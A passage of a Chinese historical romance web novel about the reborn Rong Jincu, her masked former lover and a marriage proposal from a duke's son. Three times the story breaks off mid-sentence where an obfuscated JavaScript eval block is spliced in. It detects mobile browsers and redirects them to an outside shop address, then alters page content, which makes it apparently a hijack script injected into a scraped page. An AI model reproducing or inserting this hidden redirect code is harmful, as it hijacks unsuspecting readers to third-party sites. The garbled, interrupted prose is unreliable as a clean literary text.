老婆婆微微叹了口气,“姑娘你性子稳当,他却沉不下心,相处起来很难罢?唯独有一点像,你们都爱藏着话,彼此不肯直说。明明在意,有什么话,说开了不好么?” 容锦簇眼底浅浅地铺上了一层湿意,只觉积压在心底的委屈像杂草疯长:“我跟他不可能……” “罢了,快吃饭去罢。”老婆婆微笑着拨手赶她出去,“老了老了,胡言乱语,不要跟我这老婆子计较。” 一夜下来,虽然担惊受怕,但到底没磕着碰着,容锦簇还真没觉得饿。 她早上又一向吃得少,故而看见江望灿和万嫣然吃得那样香,自己却恹恹地没多少胃口。 万嫣然正捧着一只窝窝头狼吞虎咽,活像几百年没吃饭了似的。 容锦簇想起万贵妃当年坚持往她饭食里下毒,差点弄死她的旧恨,又看看眼下吃得正香甜的万嫣然,皱皱眉,将那窝窝头伸手夺下来: “吃什么吃,别吃了!” “万嫣然,身为抚远侯府出身的名门千金,吃饭要有吃饭的规矩,细嚼慢咽你不知道吗?” 万嫣然瞪圆了眼看着她,嘴里嚼嚼嚼个没完。 容锦簇遮住眼,不忍直视地将窝窝头递还给她:“算了,你还是继续吃吧。” 万贵妃嘴角还沾着一点碎屑,朝她咧嘴一笑,天真无邪:“恩人,你真好。” “什么?”容锦簇顿时怀疑耳朵出了问题,满脸写着不可置信,“你还说我好?” “就是好啊。恩人不是怕我噎着,让我慢点吃吗?”万嫣然喜滋滋地看着她,又狠狠咬了一大口。 “……”容锦簇更郁闷了。 她勉强吃了一小碗薄粥,再也吃不下去,放下碗时,却发觉银面桃花不见了。 容锦簇顿了顿,起身往外走去:“我消消食。” 门前是漫漫山野,太阳出来了,天气却并不好。小村庄陷在苍白的茫茫日光里,没什么生机。 目光放过去,丝毫看不到那个熟悉的身影。 容锦簇犹犹豫豫回过头,忽然不知想到了什么,步子一转,往斜后面的村头大槐树走去。 惊云和逐风就拴在大槐树旁边,显然刚从河边饮马回来,蹄子都是湿的。吃饱喝足,两匹马各自卧下,悠闲地甩着尾巴。 果然,银面桃花就坐在大槐树对面的小土坡上,目光放空盯着两匹神骏,不知在想什么。 容锦簇走过去,隔着几丈远坐下,勉强算是跟他并排。 银面桃花微微侧过脸,面具下,一双丹凤眼上挑,眼尾微红,看得出熬了一夜。 纵有前世千百件事想问,话滚到舌尖,容锦簇才想起她还没试探过银面桃花是否也重生了。 于是,咽下原本想说的话,她轻轻道:“是在担心太子殿下吗?” 银面桃花还算坦诚了一次,好歹愿意告诉她那是太子。不然……他们能聊的东西就更少了。 银面桃花定定看着她,“嗯”了一声。 “不用担心,殿下吉人自有天相。”容锦簇干巴巴地安慰他。 半晌,银面桃花先“嗤”的笑了。这笑里没有愤怒沮丧或是阴阳怪气,纯粹又轻松。 “二姑娘,要论担心,恐怕也是你更担心吧。”他往后一撑,身子也放松下来,沉吟,“我记得二姑娘想通过我求见太子殿下,难道我记错了?” 容锦簇抿嘴,卖了个破绽:“幽冥阁本来就跟朝中有关系,你能认识太子殿下我也不意外。” “哦?”银面桃花很配合地咬了鱼钩,“你怎么知道幽冥阁跟朝中有关系?” 试探到这一步,就不能心急了,容锦簇话题一转,硬生生转移了方向:“你既然求我救太子殿下,应当跟他关系匪浅?难道平日里都是帮太子殿下做事?那太子殿下可曾给你一官半职?” 银面桃花含笑,将问题推了回去:“你猜。” “专职给太子殿下养马?” “喂。”萧琢时气笑了,“二姑娘,在你心里,我就只是个帮人养马的?” 容锦簇摇头。 更差。 在她心里,他就只是别人手中一把刀而已。 不然,前世怎么会走得那么干脆利落。 萧琢时当然猜不到容锦簇心中所想,扯了扯身旁草叶,随意道:“其实我也没有什么加官进爵的想法,如果像你说的那样给殿下养马,听起来也还不错。” “我只想等太子殿下病愈了,归隐。”他说着,侧过脸与容锦簇对视,目光澄净,“你想不想去看看九州四海?” 容锦簇自嘲地弯了弯唇角。 前世,他也是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484498|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟她说的。 “我就不去了。”她避开萧琢时殷切的目光,垂头揪草,“我要进宫。” 寂静中,容锦簇隐约感觉到萧琢时的目光颤了颤。 “可是,万一太子殿下的病好不了怎么办?”他哑声问。 这回,容锦簇没有任何犹豫,转过脸直视着他。 她声音前所未有的坚定:“太子殿下一定会好起来。” “二姑娘,没人能预见未来。”萧琢时死死盯着她的眼睛,“没有什么事是一定会怎样的。” 容锦簇心跳如擂鼓,一时手脚都发软,唯独声音丝毫不惧:“如果我说我可以呢?” 他们的目光撞上,在半空中擦得火星四溅。 萧琢时的神色变得格外凝重冷肃:“容二姑娘,这话在我这说说也就罢了。若是对旁人说,旁人只会当你疯了!” “你呢,你是不是也知道?”容锦簇凝着他的眼睛,不肯挪一寸,她清楚地知道,自己躲开这一次,就再也没有这份冲动和勇气问出这个问题。 她只感觉浑身气血上涌,背脊轻轻颤抖着,却紧紧攥着手指,一颗心高高吊起来,七上八下地等待着那个回答。 她看见萧琢时动了动唇—— “江琢!” 关键时刻,远远传来江望灿欢快的声音,“我们来啦!” “……” “……” 萧琢时轻轻垂下眼,避开了她的目光。 他起身牵马:“……走吧,容二姑娘。” 容锦簇坐在原地一动不动,浑身的血凉透了。 她牵起嘴角有些自嘲地想笑,却怎么也笑不出来。 两世,她都只为了眼前这个人如此大胆过, 他却两次都逃了。 徒留她陷在无助的漩涡里,终其一生无法抽身。 萧琢时想伸手来扶她,却被容锦簇避开:“不用了。” “我怎么配得上您来扶。” 萧琢时眼里鲜少流露出这么清晰的慌乱无措,张了张口,无处辩驳,最终只好格外小心地说:“我,我将银子压在婆婆灶台上了。” “我知道。” “你们在聊什么?”江望灿跑得快,万嫣然还在后面慢慢散步时,他已经抢先赶到了,立刻挤进两人中间,“我没来晚吧?” 容锦簇摇摇头,对他笑了笑:“师兄来得正好。” “是啊师兄,来得真及时。”萧琢时的怨气几乎化作实质,冷冷地答,“再晚来一刻,我们就要飞走了。” 江望灿挠挠头,敏锐地察觉到那股杀意,立刻往师妹身边躲了躲:“师妹,你都不知道江琢刚才在后院欺负我!你师兄本来身体就不好,又吓了一场,又劈了那么多柴,回去要是病了,准是江琢害的呜呜呜呜呜……” “我知道了师兄。”容锦簇无奈,考虑良久,还是伸手拍了拍江望灿的头,如同拍小动物一般,“不生气了。” “当然不生气!”江望灿转悲为喜,精神大振,挑衅般斜了萧琢时一眼,“有些人就是居心叵测,我向来不跟这种人计较,师妹你也千万不要被蒙骗了!对了,不是要回京吗?咱们这就走!” “等等我啊。”万嫣然急忙跟上来,一见这幅情形,立刻敏锐地竖起耳朵,两眼放出兴奋的光芒,“你们在吵架吗?吵到哪了?” 14. 第 14 章 兴奋的万贵妃等啊等,没等到吵架,反而等到自己被送回了家门口。 没能亲眼看到两人吵架,她失望不已,依依不舍拉着容锦簇不放:“恩人,下次见面,一定要跟我讲讲你们吵了什么啊。” 容锦簇心乱如麻,囫囵应了,只想赶紧摆脱掉她。 再加上她已经困得没了精神,终于回到雪寒院后,匆匆沐浴完毕立刻爬上了床。 容锦簇这一觉睡得天昏地暗,全然不知容府竟发生了一件大事。 上午,约莫巳时,容府正堂迎来了两位不速之客。 说不速,倒也算不上,其中一位已经是常客了,正是大伯母傅盈。 另一位,俨然是容家大姑娘容锦绣的婆婆——定远侯夫人。 定远侯夫人跟容夫人不熟,跟傅盈却格外亲近。毕竟傅盈的女儿嫁了她儿子,两人做了亲家,平日往来颇多。 定远侯夫人来得匆忙,没下拜帖,事先由傅盈口头知会了一声,所以自称不速之客:“哎哟,妹妹,我冒昧前来,恐是打扰了?咱们可真有些年头没见了。” 容夫人客客气气笑着,忙称不敢:“姐姐愿意到容家坐坐,是我的荣幸。” 心下疑虑,因为傅盈半个时辰前才派人告知,容夫人匆忙之间,也未曾细想定远侯夫人大驾光临的原因。 定远侯膝下嫡子就那么一个,已经跟容锦绣成了亲,此行必然不是为了定远侯府公子的婚事。 若是别家郎君,又能是哪家呢?容夫人左思右想,猜不出来。 今年容锦簇十六,到了可以议亲的年纪。容锦虞十四,过不了多久也要及笄了。想到这,容夫人又是高兴,又是难过。 高兴在容锦簇嫁人,大概是能帮她赚到些聘礼的,难过在容锦虞出嫁后,就不能像这样日日陪伴她身边了。 想到这,容夫人下定决心:若是向容锦簇提亲的,不管谁家她都同意了;但若是向容锦虞提亲的,哪怕皇亲国戚她也不答应! 然而,定远侯夫人一开口,就令容夫人吓了一跳。 “我常听锦绣说,她二妹妹容锦簇是个妙人儿。”定远侯夫人眉眼含笑,极尽热情,“才貌双全,性子又好,这样的姑娘除了你们容家有,还有哪家这样好福气?” 容夫人依旧一头雾水,只得温柔附和:“姐姐说的是。” “俗话说,一家有女百家求,我想着正是这么个道理。” 定远侯夫人亲亲热热拉起容夫人的手,“你兴许知道,我阿姐家那个幺儿今年也及冠了。他争气着哪,在国子监书读得极好,明年考过科举就要进翰林院了,日后前途无量。” “这孩子性子倔,本来全家人捧在手心当眼珠子似的疼,有他大哥二哥在,他顺顺遂遂做个富贵闲人不就是了?偏要争一口气,一心想做探花郎呢。在亲事上,你猜怎么着?他不知何时就把你家二姑娘放在了心上,除了她谁也不愿娶呢!你说说,这是不是天大的喜事!” 容夫人眼前一晕:“姐姐是说,安国公府的三公子?” 据她所知,定远侯夫人只有一个亲姐,嫁到了安国公府,是现任安国公明媒正娶的夫人。 安国公府的三公子看上了容锦簇,这是容夫人想也不敢想的事。 偏偏这种好事……要落到容锦簇头上了! 定远侯夫人只当容夫人高兴疯了,越发言笑晏晏地撮合:“我这个外甥最是上进,年纪轻轻的,相貌又好,才学又好,又没有恶习,哎哟,真是神仙似的郎君。若不是他铁了心要娶你家二姑娘,我都想让自家姐儿跟他亲上加亲呢!待他将来入了仕,你们家二姑娘必不会受了委屈。” 傅盈早就打听过了,听定远侯夫人说着,更是笑得见牙不见眼,喜气洋洋。 唯独容夫人越听,越觉得整个人像掉进冰窟似的浑身发冷,眼前一阵一阵地黑雾沉沉。 定远侯夫人丝毫没在意,只以为容夫人太过高兴了,说到兴起处,忍不住张望:“要不,将你家二姑娘请出来,我跟她说说?” “不用了!”容夫人大惊失色,慌忙阻止,艰难扯出一抹笑,“姐姐,容我再仔细想想这门亲事。” 定远侯夫人见她这番欲言又止的态度,一时有些不满和失望。转念一想,亲事上谨慎些也正常,忙笑道:“这是自然。” 傅盈倒是看出容夫人的几分心思来,大喇喇敞开了劝道:“弟妹,大事上不能糊涂。这对阿折来说算得上好姻缘,你若是迟疑,我去跟她说,总得让她自己拿拿主意才是。” 容夫人只得暗地里咬碎了牙,面上赔着温柔的笑:“大嫂说的是,我哪儿能替她擅作主张呢,只是这个时辰恐怕不方便,我待会儿跟她聊聊。” 又坐了一会儿,定远侯夫人才告辞走了。 她和傅盈一走,容府立刻闹翻了天。 春桃院又一次砸了个精光,哗啦哐当响成一片。 容锦虞满面泪痕,大哭大闹:“凭什么?凭什么!” 底下小侍女噤若寒蝉,她的大侍女宝喜胆子略大些,捧了碗莲子羹上前,小心翼翼哄她:“姑娘消消气,您从一早起来还没吃东西呢。” 容锦虞一挥手,那碗莲子羹立刻重重飞了出去,满地残羹里躺着四溅的白瓷碎片。 宝喜尖叫一声,捂着烫红的手背,迟滞一瞬,又急急忙忙蹲下来捡瓷片。 春桃院立时陷入死一般的沉寂。 “不用捡了,你先下去吧。”容夫人温温柔柔的声音从身后响起。 见到容夫人,小侍女们一致露出如释重负的表情,扶宝喜起身,掩上门悄悄出去了。 方才烫到宝喜,容锦虞的嚣张气焰灭了一些,负气地背过身去,对容夫人不理不睬。 容夫人叹口气,柔声劝她:“阿宁,先冷静冷静。” “我冷静不了!” “这只是国公府派人前来打听……” “别跟我提国公府!”容锦虞猛地捂上耳朵,“阿娘,您不是说过大姐姐嫁侯府是高嫁,但是我一定会比她嫁得更好吗!容锦簇要是真嫁到了国公府,我还怎么能嫁到更好的去处?” 她哭着问,“阿娘,容锦簇已经抢了我许多东西了,您怎么能任凭她将这样好的婚事也夺了去!” 容夫人眉头蹙着,慢慢挨着她坐下,拍着女儿的背安抚:“阿宁,阿宁。” “眼下一切都不是定数。咱们尤其不知道阿折怎么跟国公府三公子扯上了关系……你等阿娘先试探试探,好不好?” 顿了顿,容夫人又道:“这是大事,无论咱们还是国公府,都得从长计议。你放心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484499|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有阿娘在呢,绝不会让阿折的婚事越过了你去。” 容锦虞看向容夫人,触碰到对方坚定的眼神,这才破涕为笑,依偎过来:“我就知道,阿娘最疼我!” 母慈女孝其乐融融,殊不知门外一个将耳朵贴在门板上的小侍女直起身,愤愤呸了一声:“宝喜姐姐,要不,我去雪寒院提醒一声吧?” 宝喜脸上无悲无喜,半晌,低头瞧了一眼敷着药膏的手背,缓缓点了点头。 …… 容锦簇一觉醒来,已是用午饭的时辰。 她推门出去,正瞧见一个脸生的小侍女跟宝河站在树下,嘀嘀咕咕着什么。 见容锦簇出来,那小侍女慌忙行了个礼,急匆匆走了。 “什么事?”容锦簇揣着手,问宝河。 宝河眼角眉梢都是笑意,雀跃地上前道喜:“恭喜姑娘,贺喜姑娘,魏公子要向姑娘提亲呢!” 容锦簇一怔。 这才缓缓从记忆深处,捡起这么桩尘封多年的亲事。 安国公府三公子,魏夕度。 说起来,跟他相识也颇有几分意思。 按理说,以容家的身份地位,摸不到安国公府这样高门大户的门槛。 容家祖上出过丞相,荣极一时。但代代没落,如今的大伯和三叔只能勉勉强强混个六品。 容锦簇的父亲从武,在军中已经当上了正四品将军。谁知世事难料,容锦簇六岁那年,父亲战死沙场,追封了一个忠武侯的功名,却因是追封,不能世袭。 如此算来,容家这一代连爵位也没有。一个落魄的官宦世家,平日想见那些王公贵族一面都难。 唯独容锦簇六岁那年,因为父亲追封忠武侯一事,圣上开恩,准忠武侯家眷入宫参加宫宴。 也就是那一次,容锦簇不慎落入太液池,被银面桃花救起,欠了他救命之恩。 所有人都忘了,容锦簇是怎么“不慎”落入太液池的。 她在路上走得好好的,突然被一个半路冲过来的小胖墩撞飞了出去。 那小胖墩也不是别人,正是安国公府的三公子魏夕度。 后来泪眼汪汪的安国公府小胖墩说,他当时正跟几位殿下闹着玩儿,跑得太快没收住,这才撞到了容锦簇。 为此,小胖墩魏夕度相当愧疚,不仅时常到容家看望她,等容锦簇彻底病好以后,还派人送了厚礼道歉。 只是后来小胖墩长成了翩翩美少年魏三公子,性子也彻底沉稳下来,谁见都要称一声君子如玉,两人的交集也渐渐少了。 容锦簇回想前世,只有盂兰节、上元节以及她生辰,他会让小厮过来请个安,捎给她一些精巧小玩意儿。容锦簇知道他不缺好东西,也就每次都准备些点心回赠。 她及笄的时候,两人还在府外匆匆见过一面。 她前世本来就娴静柔婉不爱说话,面对芝兰玉树的魏三公子,更不知要说什么,只好尴尬又局促地婉拒了他的礼物。 魏夕度弯起眼睛,倒没一定要塞给她,只笑着问:“你觉得安国公府怎么样?” 她当时年纪小,不明白魏夕度话里有话,老老实实按印象回答:“挺好的。” 结果过了一年,也就是眼下,魏夕度及冠后,第一件事就是找上门提亲来了。 15. 第 15 章 然而,魏夕度这场提亲对于容锦簇来说,无异于一剂毒药。 容夫人和容锦虞嫉妒心发作,不再小打小闹敲打她,而是使出了赶尽杀绝的手段。 也因为如此,才导致了“那桩事”的到来。 容锦簇轻轻闭上眼。 日光暴烈,尽管置身盛夏,她仍然感到浑身发冷。 只得反复告诉自己,这一世,不会了。 她要堂堂正正地进宫。 再度掀起长睫时,容锦簇的眼神已经坚定下来:“宝河,找人给魏公子的小厮递个话儿,就说我今日想见他一面。” — 同一时刻,小院。 睡眼惺忪的江望灿伸着懒腰从耳房里钻出来,一眼瞧见他娘、江琢和那个抱病的白衣男子围坐在石桌前,三双眼睛齐齐盯着他。 江望灿张了张嘴,转身往回走:“我应该是出现幻觉了,回去再睡会儿。” “回来!” 江玉发了话,江望灿身子一僵,不情不愿折回来拱手行礼:“娘,我错了,我不该不听您的话往外跑……” 江玉没理他,淡淡道:“快些拜见太子殿下。” 江望灿抬到一半的手臂在虚空中换了好几个方向,半晌,迷茫开口:“谁是太子?” 那个披散着长发的白衣男子微微从唇畔扯出一个笑,对江玉柔声道:“既然唤了您一声姨母,那这位就是孤的表弟。亲人之间,不必客气。” 江望灿从未将眼瞪得这么大过,站在原地傻愣了半晌:“你是太子?” 又看向萧琢时:“江琢,他不是你朋友吗?那你是——” “我当然是江琢了。”萧琢时含笑,颇有些四两拨千斤的意味。 他看起来心情还不错,唯独眼下一片青乌暴露了迟迟未补觉的烦躁。 萧琢时睡不着。 一闭上眼,就会想到她。想起漆黑阴森的破庙里,她跳到自己身后时那声含着哭腔的阿琢。 多少年了啊。 可是她那么恨他,无论他有没有重生,容锦簇都不会原谅他的吧。 当然这些事,江望灿都不会知道。他尚且沉浸在眼前人是太子的震惊中,半晌,嘴比脑子更快一步,冒出一句:“你派人把我抓走放血?” “江望灿!不得对太子殿下无礼!”江玉呵斥。 “无妨。”萧逐夜轻咳一阵,衬得唇色更加苍白,“此事绝非孤本意。那些人名义上是孤的暗卫,其实有不少父皇母后安插进来的探子。昨夜抓你的大概就是母后的人,孤知道母后派了不少能人异士,其中有几个嗅觉灵通如犬,据说擅闻药材……” 只是那一霎,江望灿突然明白了。 他转眼望向江玉,没心没肺地绽开满面笑容:“娘,所以我就是他的药人,对不对?” 江玉闭上眼,竭力掩饰住眼底的不忍与不舍。 她尚不知太子殿下的选择。 但他毕竟贵为一国储君,怎会情愿丢下一切去鬼王谷养伤?所以牺牲的那个,注定是她的灿儿…… “我活到二十,一直知道自己是个药人,却不知药为谁用。今日总算见到了。”江望灿放轻了声音,仍然傻乎乎笑着,“能治好太子殿下,也算我,三生有幸吧。” “算起来,真正重要的人,也不过我娘和师妹。”江望灿有点遗憾地摇了摇头,“算了,等来世……等我不是药人了,再求师妹多看我一眼好了。” 越是预感死之将近,他越是笑得更加明亮,抬手抱拳:“殿下,等我死后,你能护着我娘平平安安活到老吗?” 话音落地,半晌一片死寂。 江望灿的心也就跟着缓缓沉了下去,后知后觉陷入一片凄凉悲哀。 不知过了多久,萧琢时终于开口了。 “师兄,你的手在抖。” 江望灿却像抓救命稻草一般,转身抱拳向他,眼底燃起一簇火光:“那你呢?你愿意护住我娘和师妹吗?” “我倒是想,医圣大人和容二姑娘也不让我护啊。”萧琢时深深吐了口气,笑嘻嘻站起身,顺手拽他起来,“好了师兄,怎么又急着生离死别,太子殿下一早就决定了,要跟你们回鬼王谷。” 听清他的话,江望灿眼前一片空白,下一秒,紧绷的脊背一松,向前栽去。 江玉失态地踉跄上前将他紧紧抱住,抚着他的背,闭上眼轻轻哽咽。 这个空当,之前为萧逐夜看门的蓝衣少年麻利地扛着行李出来:“殿下,行李和马车都备好了,咱们何时出发?” “殿下的病拖不得。”江玉抬起头,神色决绝,“必须立刻出发。” 萧逐夜摇摇头:“孤还要进宫见父皇一面。” “二弟。”他转身握住萧琢时的手,后者神色一变。 “放心,姨母知道你我的身份。”萧逐夜简单交代,“这一去也许半年才能回,二弟,你在京一定要替孤照顾好父皇。” 萧琢时摘下面具,深深望着他。 父皇两个月后驾崩,他要如何告诉萧逐夜? 见他不答,萧逐夜脸色又煞白几分,紧了紧交握的手,郑重其事道:“孤身为太子,突然消失,恐怕会引起群臣惊疑。” “皇兄放心。”萧琢时这才回答,“有臣弟在,他们不敢乱嚼舌根。另外,如今京城多风雨,臣弟想借皇兄之手揪几个乱臣贼子,以定人心。” “你想要如何做?”萧逐夜问。 “臣弟想对外放假消息,就说有人行刺皇兄。一来,皇兄去别院养伤的事就圆得过去。二来,咱们以往撼动不了的那些人……这回就算灭不掉,也可以借机敲打一番。” “很好,这样很好。”萧逐夜欣慰地握紧了二弟的手,“孤还有一事拜托你。太子妃那里,你也要像这样瞒着她。她若知道了真相,必然会担心自己的位置不稳,到时又要搅得东宫不得安宁。” 萧逐夜和太子妃白凝初当初是父皇赐婚,两人无甚感情。又因为萧逐夜身中蛊毒,难以替皇家开枝散叶,娶了白凝初后不再纳妾。换句话说,也就只祸害了白凝初一人。 白凝初一日一日待在寂寞的东宫,与奄奄一息的夫君作伴,心里百般滋味自然不好受。唯一的念想全都寄托在高高在上的“太子妃”名头上,殷殷期盼着哪一日能做了母仪天下的皇后。 告诉白凝初太子只是去养伤,而非去养病,聊作一点慰藉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484500|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧琢时点头:“皇兄放心。” 顿了顿,他神色难得凝重:“皇兄,近日收到捷报,朔王萧北凌大胜回朝,就快回来了。” “三皇子?”萧逐夜一贯温和的神情也冷了冷,“无论如何不要让他靠近父皇。从他狼子野心意图造反的那一刻起,他就只是朔王,不再是你我的弟弟了。” 那边,江玉抬起头,仿佛未听见两人在说什么似的,坦然自若:“二殿下,事发突然,我和望灿无法再回容家,劳烦殿下见到她,捎一句好。” 这个她,自然是容锦簇。 “医圣大人放心。” 萧琢时心里有数,“我先去放消息,封了朱雀街逮人,再入东宫回禀皇嫂,随后去容家。” “辛苦了。”萧逐夜沉默半晌,站起身,缓缓松开手,“照顾好自己。” 萧琢时扬眉:“皇兄还是先照顾好自己吧。” 转眼时值黄昏。 夕阳西下,为醉仙楼卷翘的飞檐悠悠镀上一层暖光。行人渐少,街道两边支摊的商贩纷纷开始收拾东西。 一辆低调的青篷马车吱吱呀呀驶过来,在醉仙楼门口停住。迎客的小伙计早知是贵客,放好踏凳,打起车帘,先瞧见一双暖玉似的手。 那双手慢慢扣住窗框,漏出雪白腕上一串莹润滚圆的珍珠手串。贵客微微俯身,墨青色裙裾垂落一角,绣了一对纤细的凤蝶。 容锦簇借着踏凳挽裙下车,一举一动合乎礼仪法度,脊背微绷,有几分紧张。 她知道此事瞒不过安国公府,还不知这一刻有多少人在暗中盯着她呢。 宝灯早早候在车外等她,手上拎着一只黄花梨木提盒,严丝合缝地盖着,看不见里面装着什么。 容锦簇向她点了点头,主仆两人一前一后在小伙计指引下踏进醉仙楼。 乍一进门,魏夕度的小厮就热情洋溢迎了上来。 魏夕度总是打发这个小厮给容锦簇送节礼,所以彼此都认得:“容姑娘!可把您盼来了,我家主子在二楼定了天字号厢房,请容姑娘上楼一叙。” 又向后压了声,悄悄地靠近宝灯:“宝灯,你也来啦?” 宝灯费了好大劲才忍住没翻个白眼:“少跟我套近乎,我是陪容二姑娘来的。” “你这拎的什么?”那小厮也不恼,厚着脸皮笑嘻嘻问,“我看看。” “才不给你看呢!这是我家姑娘带来的。”宝灯推了他一把,笑骂,“半年没见,你怎么一点长进都没有,还是那么没眼力见儿!” “好了。”容锦簇停住步子,“宝灯,给我吧,你先在楼下等会儿,我很快就下来。” 那小厮看着宝灯将东西递过去,忍不住插嘴:“容姑娘,不留下吃点儿吗?我家公子定了好多菜呢!” 容锦簇笑笑,不好意思直接拒绝,只得闪烁其词道:“我先上去了。” 推开天字号厢房的门,迎面扑来雪白的茶雾,融着潺潺水声和清新的龙井香气。 魏夕度一身圆领红袍,领口和窄袖一线雪白。壶嘴里细细的茶水流到尽处,正是满满一盏新茶,他将素瓷盏朝门口推了推,抬起狭长乌眸,眼底含笑。 “既然来了,怎么不坐?” 16. 第 16 章 容锦簇谨慎地关上门,又走到窗前,左右望了望。 “放心。”魏夕度不以为意,唇角笑意浅淡,静静坐在原地等她侦查,“我遣人在附近看过,爹娘没有派人监视我。” 容锦簇这才微微松了口气,将提盒摆上桌面。 魏夕度果然被吸引了注意,眼神亮起,温声询问:“给我准备的么?” 容锦簇很想问他,不然呢?话到嘴边,觉得不合适,又咽下了:“三公子打开看看吧。” 魏夕度唇角扬起的弧度更扩大了几分,掀开半边盒盖,垂眸看去。 他唇边笑容悄然凝固。 提盒里,放着的赫然都是这些年他送给她的各色节礼和生辰礼。 风停水止,四周静悄悄一片,落针可闻。 半晌,魏夕度才找回自己的声音。他皱起眉,有些不确定:“簇儿,这是何意?” “三公子,往后还是不要再、不要再这么唤我了,我担不起。”容锦簇咬了咬牙,狠下心,将脸微微扭向另一侧,望着窗外,“提亲的事,你我都忘掉,就当从来没有发生过。” “为什么?”魏夕度眉头拧在一起,艰难地吞咽了一下,声音飘忽渺然,“你讨厌我?” 容锦簇下意识摇了摇头。 魏夕度眉头松开半边,像是缓缓舒了一口气,“既然不讨厌,那就是我行事太莽撞,吓到你了?” “不是因为这个。”容锦簇不敢直视他的眼睛,但两人毕竟十年交情,她对魏夕度多少是了解的,也知道魏夕度但凡下决心的事就不会轻易放弃,“三公子,我们不适合做夫妻。” “不适合?难道说,你找到了认为适合的男子?”魏夕度反应快得惊人,他勉强找回了稳定的声音,却还因容锦簇的语出惊人感到恍惚,“簇儿,你……” 一阵喧闹打断了魏夕度的言语,容锦簇侧耳细听,似乎是有人闹事,底下起了大声的争执。 她顿时为宝灯感到提心吊胆,加上面对魏夕度的愧疚和不安,急忙站起身:“三公子,先这样吧,我要去找宝灯。” “簇儿!”魏夕度下意识叫了一声,又急忙改口,“容、容姑娘,请留步。” “不知容姑娘能否告知魏某那人名讳?” 容锦簇目光微微茫然:“谁?” “你认为适合做夫妻的男子。”魏夕度神色坚定又执着,“魏某愿意按照他的脾气秉性,跟你相处。” 这话一出,容锦簇也不免恍神。 但她想到前世魏夕度娶了容锦虞,就什么同情跟怜悯都没了,攥了攥拳,小声说:“没有!” 说罢,转身就要去碰那扇房门。 说时迟那时快,魏夕度也急急忙忙站起来,似乎要伸手去挽留她。 容锦簇没想到他身手居然这么好,轻而易举握住了她的手腕,往回轻轻一带。 容锦簇被迫向他迈了几步,两人的目光瞬间黏在一处。 这么近的距离,足够她看清魏夕度的每一根睫毛。青年人生得清俊,相貌堂堂,一双狭长的眸子黑白分明,紧抿的薄唇也不显得凶戾,仍然是一副翩翩君子温润如玉的模样。 魏夕度却红了耳根,慌乱道:“我没想……” 下一刻,房门“轰”的一声被人踹开,一个戴着银色面具的少年站在门口,中气十足大吼一声: “幽冥阁银面石榴花,奉命搜查朱雀街刺客!” 容锦簇眼前一黑。 本以为银面桃花这个封号已经够奇怪了,今日才发觉人外有人,天外有天,还有更俗的等着她呢。 石榴花看见被攥住手腕的容锦簇和红着耳根的魏夕度,眼睛刷的一下亮了。 “打扰你们了吗?不用管我,你们继续。” 两人还僵在原地,容锦簇瞬间羞窘得满面绯红,开口解释:“没有什么打扰……” 对于这种场面话,石榴花一向直接理解,立刻喜形于色:“没有打扰?那太好了,我得招呼我们家大人过来一起看!” 说罢,迫不及待回头招手:“大人!这边这边!” 容锦簇顿时生出了一种不妙的预感。 在她如临大敌的目光中,从楼梯尽头大步流星走过来一道裹在黑色披风下蹬着长靴的高大身影,挺拔如一柄凛冽出鞘的长剑。 走廊里玄衣佩刀的幽冥阁属下见了他纷纷行礼让路,号称石榴花的少年咧嘴一笑,面具上一抹灼灼鲜红烧得正艳。 那人走近,随手撩开低垂的兜帽,露出熟悉的银色缀桃花的面具来。 四目相对,俱是一怔。 “容二姑娘?这么巧。”他薄薄的唇角向上一勾,“又见面了。” 目光落在魏夕度攥着的那截手腕上,暗了暗,若无其事笑道:“这回又跟谁演生离死别的戏码?唔,原来是魏三公子,失敬失敬。” 魏夕度没松手,萧琢时也不愿收回目光,眼神越来越沉冷。 终于,在气氛即将降至冰点前,魏夕度堪堪放开手指,正色道:“久闻幽冥阁银面郎君盛名。” “是吗?那也不如魏三公子名动京城。”萧琢时凉凉一笑。 “不敢。”魏夕度皱眉,察觉到来者不善,跨了两步挡在容锦簇前面,“听闻两位要搜刺客,是何刺客?” “自然是宫中机密。”萧琢时目光向旁边一拂,“魏三公子以为?难不成我闲到在这醉仙楼厢房私会姑娘?” 他目光拂过处,容锦簇指尖局促地抓着衣裾,呼吸急促,眼神乱飘。 这场面,仿佛她偷溜出来私会外人,被已经成婚的夫婿逮住了似的——不对。 她又不欠银面桃花什么,之前有过错的明明是他才对! 想到这,容锦簇多了一层底气,挺起身攥了攥手,出声:“你们私闯雅座,连解释也不解释一下吗?” 